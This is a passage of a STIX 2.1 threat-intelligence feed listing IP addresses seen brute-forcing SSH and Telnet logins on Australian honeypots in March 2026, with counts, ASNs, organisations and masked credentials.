      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 147314. Organisation(s): IP Communications Limited. Usernames observed (masked): t****r, 3**********4, a***n, ***, c****s. Passwords observed (masked): ***, 1***5, 1****6, 1******C, 1**********c.",
      "id": "indicator--2e0909cb-8cc7-4b2a-b137-495de1d8f2d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.89.240.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): !***t, 1******x, P**********6, q**********6, r*******y.",
      "id": "indicator--5c5ea25e-543b-4d5f-9b52-a747e0ef58a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.209.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, j*****r, m*****e, **, c***s. Passwords observed (masked): 3***********4, 3**********4, 1******8, A********., A***3.",
      "id": "indicator--b2a5bc56-ef60-43ab-90c0-74263aa27675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 25668. Organisation(s): Cipherkey Exchange Corp..",
      "id": "indicator--4465aed8-4926-4ebf-9122-5b7b340eb78a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.103.161.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6181. Organisation(s): Cincinnati Bell Telephone Company LLC.",
      "id": "indicator--a6740ab4-acc9-41b0-ab25-b7efc3056d10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.59.33.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--bd4ca79f-0ac4-41e9-8e53-5e7c365dad9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.246.165.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:15:14.000Z",
      "valid_until": "2026-04-16T02:15:11.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 2516. Organisation(s): KDDI CORPORATION. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--d8eadf65-332f-47ef-8eff-3dbf4268618c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.149.152.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, ***, c*****y, e**r. Passwords observed (masked): ***, 2**1, 3***********4, 3**********4, P**********!.",
      "id": "indicator--987107ee-8c62-44d8-a3ce-33c0330333ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.10.252.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135932. Organisation(s): Viet Storage Technology Joint Stock Company. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3cca6b51-7914-4082-9368-8701ff1b6bcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.25.81.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 211415. Organisation(s): Karolio IT paslaugos, UAB. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--c8151623-073e-468c-bf22-24fbc13d9b4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.234.219.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--edd5cc14-696a-42bb-a953-f7fa2f747bb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e1fe7a8d-8f4c-4cd9-a9b9-3f2d08d15a7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 209043. Organisation(s): IPRoyal Services FZE LLC. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--3cf13d7a-4ad4-4c82-85ba-79b332df6c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.114.116.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:15:14.000Z",
      "valid_until": "2026-04-16T03:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): v**********y. Passwords observed (masked): v*************3.",
      "id": "indicator--fefc7d44-e824-4a77-aa89-ab860c310059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.92.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--c7b4f647-6c9b-4d01-aa1e-24d925aa95c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.37.52.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): b******s. Passwords observed (masked): b*********3.",
      "id": "indicator--4095c89d-1edd-475b-ad5b-5e014a8856c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.229.67.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 108. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--acf27ebb-6185-4444-8e78-a4b3c72efbc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.166.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: PL. ASN(s): 201814. Organisation(s): MEVSPACE sp. z o.o.. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--bf1bab8a-3e1d-4f78-b72c-64c0ae495e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.23.222.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): 3**********4, i***a, r**t, ***, d*****2. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1*******9, @************************3.",
      "id": "indicator--e731cda5-c8e5-4564-bfce-1083b71b0a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.14.96.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:15:14.000Z",
      "valid_until": "2026-04-16T04:15:12.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): g****e. Passwords observed (masked): ***.",
      "id": "indicator--e592d48b-5bb1-47e1-b651-83ae4f864940",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, f*******o, g********r, **, j******a. Passwords observed (masked): 3***********4, 3**********4, 1**4, J*********3, L*****!.",
      "id": "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.156.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--f4edb9fb-c58f-4c00-81c4-1a6c6f75a48a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.243.61.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--8134ec1e-7591-4c67-9d61-7d1e36ab9d84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.162.233.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--154ce8af-eedd-4ea5-ae2b-e46003bed7c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9762. Organisation(s): kt HCN Co.,Ltd..",
      "id": "indicator--bd8b463d-d24f-465d-a25e-7e7877c755b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.237.247.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--ba783462-4fd4-4f5e-8004-a09bfe0921a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.114.206.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): **, f***2, r**t, s****s. Passwords observed (masked): 1****e, f***2, i********p, s****s.",
      "id": "indicator--5069c515-deca-4839-b232-91089ada7044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.111.82.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--6d0b1f10-9739-4f48-a74d-0b8a9cc3e85f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.163.89.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T05:15:14.000Z",
      "valid_until": "2026-04-16T05:15:11.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--505dbc16-e405-4c01-a7a4-43616222b880",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--aa8d8a54-2100-4704-a3ad-f528e852a957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.115.99.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--be2fc667-d000-47fc-b3e3-6fe511512589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.119.99.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 114. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, t**t, c****g. Passwords observed (masked): a***n, 0**************D, 1***5, *, O************Z.",
      "id": "indicator--9823cb0c-7b89-48bd-8571-2f3732477db3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, 1**4, ***, g****1. Passwords observed (masked): 1**4, a******3, p******d, 1***5, 1****6.",
      "id": "indicator--d9750462-da59-40a7-af1b-dc725842d85e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9378. Organisation(s): JCOM Co., Ltd.. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--ea49736b-93d3-4ef1-899b-bdcb9905f9d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.215.151.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:15:13.000Z",
      "valid_until": "2026-04-16T06:15:12.000Z"
    },
    {
      "created": "2026-03-15T07:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): e*****t, r**t, ***. Passwords observed (masked): B********3, e*****t, ***.",
